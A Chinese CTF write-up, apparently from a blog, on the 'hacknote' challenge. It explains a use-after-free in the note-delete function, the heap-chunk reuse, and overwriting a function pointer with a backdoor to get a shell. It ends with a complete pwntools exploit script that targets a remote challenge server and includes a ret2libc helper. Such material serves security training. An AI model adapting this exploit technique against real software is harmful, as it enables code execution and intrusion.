从hacknote了解UAF漏洞
首先查看程序的基本功能,基本的菜单形式,主要提供了三个功能,创建,删除,打印。(即malloc堆块,free堆块,printf堆块中的数据)
查看程序基本信息
拖进ida中进行伪代码审计,由于此题没有去掉符号表,因此审计相对比较简答。创建和打印部分的代码均没有什么漏洞,在删除功能处可以发现很明显的UAF漏洞,在free掉content指针和结构体指针后均没有将其置为NULL。
另外可以找到程序中存在后门函数magic
进行调试分析,首先创建两个note(note0和note1),大小都为0x10,gdb查看堆的具体情况。
可以看到总共有4个chunk,其中我们申请的chunk为chunk2和chunk4,大小为0x20。chunk1和chunk3为对应的结构体指针,大小为0x10。接下来具体看一下每个chunk块数据部分的内容,chunk1是结构体指针包含了两部分内容,第一部分0x080485fb为print_note_content函数地址,第二个部分0x087ec170为note0数据部分的地址(chunk2的mem指针)。chunk2是content指针,存储了具体的内容(0xa61–>‘a\n’)。chunk3、chunk4和chunk1、chunk2类似,这里就不再展开分析了。
现在整理一下思路,chunk1和chunk3中都存在print_note_content函数地址,在当我们执行打印功能的时候会被调用。设想如果我们可以修改chunk中的地址为magic函数的地址,那当我们再次执行打印功能的时候就可以除法后门函数,获得shell。但是此时的chunk1和chunk3都是结构体指针,我们无法对其数据进行修改。那么我们怎么样才能进行修改呢?我们继续尝试和分析。。。
接下来我们将两个note都删除,再次查看堆的情况。
可以看到现在4个chunk都已将被free掉了,(这里由于我的libc版本的问题所以被free的chunk被放入了tcache中,如果是较低的libc版本会被放入fastbin中)。但是由于存在UAF漏洞所以我们依旧可以正常执行打印的功能,所以我们要设法将其中一个结构体指针申请回来,并且要成为新的note的content指针,这样我们就可以修改print_note_content函数地址为magic函数地址,实现漏洞利用。具体做法也比较简答,我们只需要申请一个新的note,大小为0x8就可以了。申请0x8大小是为了我们可以把原来的结构体指针申请回来作为新的content指针。
当我们申请0x8大小的note后,首先会malloc一块0x10大小的chunk作为结构体指针,查看bin后可以找到0x9276190 和 0x9276160都满足,根据free的顺序首先取出0x9276190作为新note的结构体指针,然后根据申请的大小0x8进行malloc,查找后取出0x9276160作为新note的content指针。这里注意此时的0x9276160既是新note的content指针也是note0的结构体指针。所以我们可以实现对note0结构体指针的修改,我们将0x080485FB(print_note_content)修改为0x08048945(magic)。
现在打印note0就可以获得shell了。
exp如下:
from pwn import *
from LibcSearcher import LibcSearcher
from sys import argv
def ret2libc(leak, func, path=''):
if path == '':
libc = LibcSearcher(func, leak)
base = leak - libc.dump(func)
system = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
else:
libc = ELF(path)
base = leak - libc.sym[func]
system = base + libc.sym['system']
binsh = base + libc.search('/bin/sh').next()
return (system, binsh)
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\0'))
uu64 = lambda data :u64(data.ljust(8,'\0'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
context.log_level = 'DEBUG'
binary = './hacknote'
context.binary = binary
elf = ELF(binary)
p = remote('node3.buuoj.cn',29924) if argv[1]=='r' else process(binary)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def dbg():
gdb.attach(p)
pause()
# start
def add(size,name='a'):
sla(':','1')
sla(':',str(size))
sla(':',name)
def delete(index):
sla(':','2')
sla(':',str(index))
def show(index):
sla(':','3')
sla(':',str(index))
magic = p32(elf.sym['magic']) # 0x8048945
add(0x10) # 0
add(0x10) # 1
delete(0)
delete(1)
add(0x8,magic)
show(0)
# end
itr()
上一篇: 将Kotlin代码编译成Javascript 代码
下一篇: pd.Categorical